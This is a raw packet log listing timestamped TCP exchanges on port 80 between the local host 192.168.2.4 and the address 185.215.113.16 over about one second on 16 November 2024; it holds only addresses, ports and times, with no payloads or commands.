Nov 16, 2024 04:33:24.818758965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818804026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818804026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818804026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818871021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818882942 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818891048 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818902016 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818912029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818923950 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818933010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818942070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818968058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818968058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818968058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.818990946 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819004059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819008112 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819013119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819016933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819022894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819024086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819027901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819036961 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819046974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819056988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819065094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819077015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819088936 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819116116 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819116116 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819116116 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819134951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819147110 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819154978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819164991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819174051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819185972 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819195032 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819204092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819214106 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819220066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819220066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819221020 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819226027 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819237947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819257021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819262028 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819262028 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819272995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819288969 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819298029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819302082 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819308043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819324970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819334984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819341898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819341898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819346905 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819360971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819365978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819370985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819370031 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819384098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819395065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819405079 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819413900 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819422007 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819422007 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819426060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.819437981 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.819482088 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.823653936 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823823929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823832989 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823843002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823853016 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823862076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823873043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823878050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.823898077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.823954105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.823964119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.824193954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.824193954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896662951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896681070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896720886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896737099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896764040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896779060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896796942 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896833897 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896833897 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896833897 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896836042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896862030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896876097 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896893024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896908045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.896941900 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896941900 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.896941900 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.933578014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933595896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933613062 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933759928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.933870077 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933885098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933900118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933914900 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933931112 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933945894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933962107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933975935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.933983088 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.933984041 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.933984041 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.933991909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934004068 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934009075 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934046030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934061050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934077024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934092045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934108019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934122086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934122086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934122086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934137106 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934159994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934175014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934210062 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934226036 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934240103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934257030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934262991 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934262991 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934262991 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934273005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934299946 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934320927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934335947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934350014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934366941 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934372902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934372902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934372902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934432030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934447050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934463024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934478045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934482098 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934482098 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934504986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934575081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934587955 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934603930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934617996 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934617996 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934619904 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934674978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934698105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934712887 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934727907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934747934 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934747934 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934747934 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934818983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934825897 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934848070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934871912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934890032 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934910059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934916019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.934926987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934962034 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934974909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.934988976 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935014009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935014009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935014009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935045004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935060024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935075998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935091019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935146093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935201883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935214996 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935229063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.935239077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935239077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935239077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.935339928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.940329075 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940361023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940377951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940411091 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940418959 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.940418959 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.940443039 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940458059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940474033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940488100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940502882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.940507889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.940507889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.940551996 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.983496904 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.983515978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.983541965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.983553886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.983607054 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.983643055 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.014133930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014187098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014204025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014219046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014235020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014246941 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.014246941 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.014252901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014273882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014288902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014306068 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014322042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014333963 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.014333963 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.014339924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.014436007 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.050965071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051019907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051031113 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051055908 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051183939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051214933 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051220894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051310062 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051332951 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051337957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051354885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051373005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051386118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051400900 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051414967 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051417112 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051417112 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051453114 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051481009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051484108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051518917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051542997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051558971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051568031 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051568031 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051574945 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051593065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051609039 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051626921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051667929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051670074 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051670074 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051670074 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051685095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051703930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051724911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051743984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051774979 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051789999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051804066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051820993 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051827908 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051827908 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051827908 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051837921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051875114 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051875114 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051875114 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051888943 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051904917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051919937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051934958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051950932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.051953077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051953077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.051968098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052005053 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052015066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052031040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052045107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052058935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052074909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052095890 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052095890 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052110910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052113056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052130938 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052146912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052160978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052196026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052210093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052223921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052244902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052244902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052244902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052297115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052320004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052335978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052350044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052356005 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052405119 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052408934 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052442074 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052455902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052486897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052500963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.052515984 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052515984 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.052542925 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.057447910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057487011 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057501078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057562113 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057575941 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057576895 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.057593107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.057663918 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.057663918 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.057794094 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.101856947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.101983070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.102000952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.102027893 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.102844954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.102933884 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.103023052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.103038073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.103054047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.103179932 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.131753922 CET	80	49742	185.215.113.16	192.168.2.4
